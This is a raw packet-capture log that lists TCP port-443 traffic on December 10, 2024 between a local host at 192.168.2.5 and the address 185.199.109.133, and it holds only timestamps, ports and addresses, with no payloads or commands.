Dec 10, 2024 07:35:24.040663958 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.040694952 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.040791988 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.040822029 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.040870905 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.045027018 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.045051098 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.045126915 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.045154095 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.045203924 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.050009012 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.050036907 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.050112009 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.050134897 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.050182104 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.054742098 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.054770947 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.054852009 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.054866076 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.054928064 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.059400082 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.059436083 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.059540033 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.059560061 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.059648037 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.059673071 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.059739113 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.059747934 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.059747934 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.059767962 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.060889959 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.072798014 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.072844982 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.072953939 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.072971106 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.077749014 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.084057093 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.084083080 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.084140062 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.084156036 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.084181070 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.084212065 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.096080065 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.096107006 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.096204042 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.096230984 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.097084999 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.107517004 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.107547998 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.107614994 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.107621908 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.108091116 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.113379002 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.113403082 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.113464117 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.113481045 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.113518953 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.117990971 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.118005037 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.118042946 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.118067980 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.118107080 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.118119001 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.118161917 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.118170023 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.118186951 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.118212938 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.129308939 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.129339933 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.129431963 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.129436016 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.129487038 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.138904095 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.138925076 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.139009953 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.139014959 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.139058113 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.227926970 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.227953911 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.228043079 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.228105068 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.228137016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.228205919 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.232639074 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.232656002 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.232741117 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.232763052 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.232815027 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.237760067 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.237782001 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.237827063 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.237843037 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.237876892 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.237895012 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.242033005 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.242048979 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.242125988 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.242156029 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.242201090 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.247303963 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.247324944 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.247407913 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.247426987 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.247473955 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.251614094 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.251630068 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.251738071 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.251751900 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.251808882 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.253388882 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.253416061 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.253456116 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.253474951 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.253494978 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.253513098 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.261828899 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.261842966 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.261945963 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.261951923 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.261996031 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.269381046 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.269411087 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.269464970 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.269471884 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.269490957 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.269509077 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.277086020 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.277103901 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.277167082 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.277172089 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.277219057 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.283792973 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.283808947 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.283871889 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.283876896 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.283934116 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.290810108 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.290824890 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.290901899 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.290908098 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.290960073 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.298508883 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.298521996 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.298615932 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.298639059 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.300647020 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.305798054 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.305814028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.305918932 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.305949926 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.305995941 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.310890913 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.310905933 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.311007023 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.311023951 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.311229944 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.326899052 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.326919079 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.327012062 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.327042103 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.327107906 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.419970989 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.419996977 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.420140982 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.420165062 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.420212030 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.424921989 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.424936056 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.425033092 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.425045967 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.425085068 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.429887056 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.429907084 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.429999113 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.430010080 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.430052996 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.434257984 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.434279919 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.434376001 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.434398890 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.434439898 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.439486027 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.439506054 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.439590931 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.439611912 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.439785004 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.443934917 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.443959951 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.444036007 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.444060087 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.444101095 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.446218967 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.446238995 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.446310043 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.446332932 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.446647882 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.452946901 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.452963114 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.453030109 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.453052044 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.453222990 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.460372925 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.460386992 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.460437059 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.460458994 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.460565090 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.467989922 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.468002081 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.468056917 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.468075991 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.468136072 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.475676060 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.475687981 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.475753069 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.475774050 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.475996971 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.482981920 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.482997894 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.483074903 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.483079910 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.483231068 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.489458084 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.489470959 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.489523888 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.489528894 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.489692926 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.498204947 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.498228073 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.498306036 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.498327971 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.498368025 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.502580881 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.502602100 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.502679110 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.502698898 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.502739906 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.519128084 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.519141912 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.519233942 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.519254923 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.519471884 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.612593889 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.612658024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.612859964 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.612891912 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.612941980 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.617507935 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.617561102 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.617616892 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.617651939 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.617672920 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.617697954 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.621838093 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.621882915 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.621944904 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.621967077 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.621987104 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.622014046 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.626863003 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.626907110 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.626981974 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.627005100 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.627023935 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.627046108 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.631697893 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.631762028 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.631794930 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.631815910 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.631835938 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.631864071 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.635785103 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.635844946 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.635874987 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.635898113 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.635915041 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.638418913 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.638448954 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.638539076 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.638565063 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.638607979 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.646929979 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.646954060 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.647062063 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.647068977 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.647128105 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.654546022 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.654568911 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.654648066 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.654658079 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.654697895 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.662113905 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.662141085 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.662209034 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.662223101 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.662259102 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.669806957 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.669831991 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.669897079 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.669905901 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.669938087 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.675904036 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.676778078 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.676808119 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.676865101 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.676883936 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.676924944 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.682451010 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.682475090 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.682543039 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.682549000 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.682588100 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.690038919 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.690067053 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.690107107 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.690162897 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.690176964 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.690207005 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.690222025 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.694533110 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.694577932 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.694653988 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.694668055 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.694699049 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.694739103 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.714152098 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.714184999 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.714266062 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.714287996 CET	443	49743	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.714327097 CET	49743	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.806262016 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.806286097 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.806463957 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.806476116 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.806607962 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.811043024 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.811067104 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.811181068 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.811187983 CET	443	49720	185.199.109.133	192.168.2.5
Dec 10, 2024 07:35:24.811242104 CET	49720	443	192.168.2.5	185.199.109.133
Dec 10, 2024 07:35:24.815630913 CET	443	49720	185.199.109.133	192.168.2.5
